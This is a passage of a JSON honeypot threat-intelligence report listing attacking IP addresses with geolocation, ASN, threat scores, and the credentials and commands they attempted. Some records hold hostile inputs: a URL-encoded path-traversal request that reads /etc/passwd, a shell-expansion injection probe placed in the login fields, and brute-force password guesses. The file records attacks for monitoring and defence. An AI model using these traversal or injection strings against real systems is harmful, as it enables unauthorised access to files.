      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 6.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 111,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T18:51:27.599000+00:00",
        "last_seen_30d": "2026-04-06T19:52:23.802000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 74,
        "Suricata": 37
      }
    },
    "135.148.32.79": {
      "attack_count": 52,
      "first_seen": "2026-04-30T11:39:29.641Z",
      "last_seen": "2026-04-30T11:44:29.117Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 31.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 80,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T11:39:29.641000+00:00",
        "last_seen_30d": "2026-04-30T11:45:35.312000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 52,
        "Suricata": 28
      }
    },
    "72.255.33.165": {
      "attack_count": 48,
      "first_seen": "2026-04-01T09:33:59.003Z",
      "last_seen": "2026-04-01T09:45:20.282Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T09:33:59.003000+00:00",
        "last_seen_30d": "2026-04-01T09:49:30.967000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "72.255.33.49": {
      "attack_count": 30,
      "first_seen": "2026-04-19T06:07:48.195Z",
      "last_seen": "2026-04-19T06:11:02.416Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 18.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T06:07:48.195000+00:00",
        "last_seen_30d": "2026-04-19T06:12:07.825000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "192.253.248.131": {
      "attack_count": 28,
      "first_seen": "2026-04-10T11:17:30.278Z",
      "last_seen": "2026-04-15T17:45:03.499Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1Kelltech",
        "Kelltech2023#",
        "kelltech@2020",
        "kelltech@2021",
        "kelltech@2024"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T11:17:30.278000+00:00",
        "last_seen_30d": "2026-04-15T17:46:12.943000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "176.65.148.214": {
      "attack_count": 24,
      "first_seen": "2026-04-01T01:55:46.104Z",
      "last_seen": "2026-04-08T12:35:11.848Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 38.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.6,
        "persistence": 17.5,
        "diversity": 10,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 57,
        "days_active_30d": 21,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T01:55:46.104000+00:00",
        "last_seen_30d": "2026-04-21T13:31:12.243000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 33,
        "Cowrie": 24
      }
    },
    "213.33.220.49": {
      "attack_count": 22,
      "first_seen": "2026-04-19T21:40:19.624Z",
      "last_seen": "2026-04-19T21:40:32.826Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "a",
        "admin",
        "nil",
        "root"
      ],
      "passwords_attempted": [
        "",
        "a",
        "admin",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Solnechnogorsk",
      "asn": 3216,
      "as_org": "PVimpelCom",
      "threat_score": 22.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-19T21:40:19+00:00",
        "last_seen_30d": "2026-04-19T21:41:38.112000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 14,
        "Honeytrap": 2
      }
    },
    "5.187.35.142": {
      "attack_count": 20,
      "first_seen": "2026-04-06T10:41:02.982Z",
      "last_seen": "2026-04-18T20:22:44.833Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0",
        "Connection: close"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23",
        ""
      ],
      "commands_executed": [
        "Connection: close",
        ""
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 206264,
      "as_org": "Amarutu Technology Ltd",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 2263,
        "days_active_30d": 30,
        "ports_targeted_30d": 300,
        "honeypots_triggered_30d": 12,
        "first_seen_30d": "2026-04-01T00:05:39+00:00",
        "last_seen_30d": "2026-04-30T22:58:11.027000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1730,
        "Honeytrap": 483,
        "Cowrie": 20,
        "Dionaea": 7,
        "Mailoney": 6,
        "Adbhoney": 4,
        "CitrixHoneypot": 3,
        "ElasticPot": 3,
        "Honeyaml": 3,
        "Ciscoasa": 2,
        "Dicompot": 1,
        "Tanner": 1
      }
    },
    "192.42.116.142": {
      "attack_count": 16,
      "first_seen": "2026-04-19T18:44:28.918Z",
      "last_seen": "2026-04-20T20:58:21.714Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 18.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T18:44:28.918000+00:00",
        "last_seen_30d": "2026-04-20T20:59:24.247000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 6
      }
    },
    "210.2.86.189": {
      "attack_count": 13,
      "first_seen": "2026-04-10T14:37:32.382Z",
      "last_seen": "2026-04-10T18:18:14.159Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        ".2025Kelltech",
        "kelltech@2023"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 24085,
      "as_org": "Quang Trung Software City Development Company",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T14:37:32.382000+00:00",
        "last_seen_30d": "2026-04-10T18:19:18.329000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 13,
        "Suricata": 6
      }
    },
    "2.57.121.17": {
      "attack_count": 12,
      "first_seen": "2026-04-06T07:04:16.229Z",
      "last_seen": "2026-04-09T01:03:07.036Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 8.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T07:04:16.229000+00:00",
        "last_seen_30d": "2026-04-09T01:04:07.449000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "216.131.74.197": {
      "attack_count": 10,
      "first_seen": "2026-04-30T13:14:30.213Z",
      "last_seen": "2026-04-30T13:24:14.712Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 62651,
      "as_org": "Strong Technology, LLC.",
      "threat_score": 24.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T13:14:30.213000+00:00",
        "last_seen_30d": "2026-04-30T13:34:23.831000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "147.185.132.42": {
      "attack_count": 8,
      "first_seen": "2026-04-10T04:07:07.034Z",
      "last_seen": "2026-04-21T16:52:06.487Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 139,
        "days_active_30d": 30,
        "ports_targeted_30d": 41,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T03:17:28+00:00",
        "last_seen_30d": "2026-04-30T04:55:15.395000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 89,
        "Honeytrap": 37,
        "Cowrie": 8,
        "ConPot": 4,
        "Honeyaml": 1
      }
    },
    "147.185.132.69": {
      "attack_count": 8,
      "first_seen": "2026-04-18T16:14:05.757Z",
      "last_seen": "2026-04-19T16:58:54.670Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 74.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.1,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 81,
        "days_active_30d": 28,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T21:23:09+00:00",
        "last_seen_30d": "2026-04-29T07:03:07.566000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 54,
        "Honeytrap": 19,
        "Cowrie": 8
      }
    },
    "86.54.31.40": {
      "attack_count": 8,
      "first_seen": "2026-04-04T04:04:29.134Z",
      "last_seen": "2026-04-04T04:04:32.984Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": null,
      "asn": 12989,
      "as_org": "Black HOST Ltd",
      "threat_score": 94.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 255,
        "days_active_30d": 30,
        "ports_targeted_30d": 48,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T02:54:48.554000+00:00",
        "last_seen_30d": "2026-04-30T21:17:39.221000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 179,
        "Honeytrap": 60,
        "Cowrie": 8,
        "ConPot": 6,
        "Dionaea": 2
      }
    },
    "185.213.155.198": {
      "attack_count": 7,
      "first_seen": "2026-04-28T08:59:18.357Z",
      "last_seen": "2026-04-28T09:05:02.501Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "dsmdmadm"
      ],
      "passwords_attempted": [
        "Pr0xyM33ting!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 39351,
      "as_org": "31173 Services AB",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T08:59:18.357000+00:00",
        "last_seen_30d": "2026-04-28T09:06:10.394000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 6
      }
    },
    "122.116.178.193": {
      "attack_count": 6,
      "first_seen": "2026-04-01T04:47:42.000Z",
      "last_seen": "2026-04-02T10:10:59.517Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Daxi",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T02:36:01.479000+00:00",
        "last_seen_30d": "2026-04-02T23:47:53.277000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Cowrie": 6
      }
    },
    "168.121.43.201": {
      "attack_count": 6,
      "first_seen": "2026-04-23T20:36:02.964Z",
      "last_seen": "2026-04-23T20:36:21.878Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "echo $((40+2))"
      ],
      "passwords_attempted": [
        " root",
        "admin",
        "echo $((40+2))",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Ub\u00e1",
      "asn": 262387,
      "as_org": "Intermicro Ltda",
      "threat_score": 16.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T20:12:39.166000+00:00",
        "last_seen_30d": "2026-04-23T20:37:23.169000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 2
      }
    },
    "47.254.192.213": {
      "attack_count": 6,
      "first_seen": "2026-04-24T15:41:35.027Z",
      "last_seen": "2026-04-24T15:41:38.796Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kuala Lumpur",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 51.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.2,
        "persistence": 22.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 27,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T07:25:41.541000+00:00",
        "last_seen_30d": "2026-04-27T14:56:18.046000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 6,
        "Dionaea": 3
      }
    },
    "118.196.27.130": {
      "attack_count": 5,
      "first_seen": "2026-04-11T11:26:32.639Z",
      "last_seen": "2026-04-11T11:26:37.352Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "asecruc"
      ],
      "passwords_attempted": [
        "test"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T11:26:32.639000+00:00",
        "last_seen_30d": "2026-04-11T11:27:42.329000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 4
      }
    },
    "152.42.184.129": {
      "attack_count": 5,
      "first_seen": "2026-04-21T19:32:16.998Z",
      "last_seen": "2026-04-21T19:32:18.901Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Qazwsx123456.."
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T19:32:16.998000+00:00",
        "last_seen_30d": "2026-04-21T19:33:26.867000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "179.125.24.202": {
      "attack_count": 5,
      "first_seen": "2026-04-06T03:46:27.874Z",
      "last_seen": "2026-04-06T03:46:30.805Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123."
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Mau\u00e1",
      "asn": 263626,
      "as_org": "G-LAB Telecom Informatica LTDA - ME",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T03:46:27.874000+00:00",
        "last_seen_30d": "2026-04-06T03:47:32.173000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "4.145.113.4": {
      "attack_count": 5,
      "first_seen": "2026-04-03T16:02:38.748Z",
      "last_seen": "2026-04-03T16:02:40.217Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T16:02:38.748000+00:00",
        "last_seen_30d": "2026-04-03T16:03:47.178000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "79.132.168.39": {
      "attack_count": 5,
      "first_seen": "2026-04-04T21:02:52.699Z",
      "last_seen": "2026-04-04T21:02:55.853Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Lithuania",
      "country_code": "LT",
      "city": "Vilnius",
      "asn": 24852,
      "as_org": "UAB INIT",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T21:02:52.699000+00:00",
        "last_seen_30d": "2026-04-04T21:04:05.829000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "8.221.101.229": {
      "attack_count": 5,
      "first_seen": "2026-04-10T01:21:27.088Z",
      "last_seen": "2026-04-10T01:21:29.283Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "zzCC000"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T01:21:27.088000+00:00",
        "last_seen_30d": "2026-04-10T01:22:36.042000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "112.37.76.150": {
      "attack_count": 4,
      "first_seen": "2026-04-09T23:10:31.315Z",
      "last_seen": "2026-04-13T01:45:25.313Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 24444,
      "as_org": "Shandong Mobile Communication Company Limited",
      "threat_score": 10.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T23:10:31.315000+00:00",
        "last_seen_30d": "2026-04-13T01:46:26.839000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "135.181.219.182": {
      "attack_count": 4,
      "first_seen": "2026-04-30T08:08:49.827Z",
      "last_seen": "2026-04-30T08:09:28.203Z",
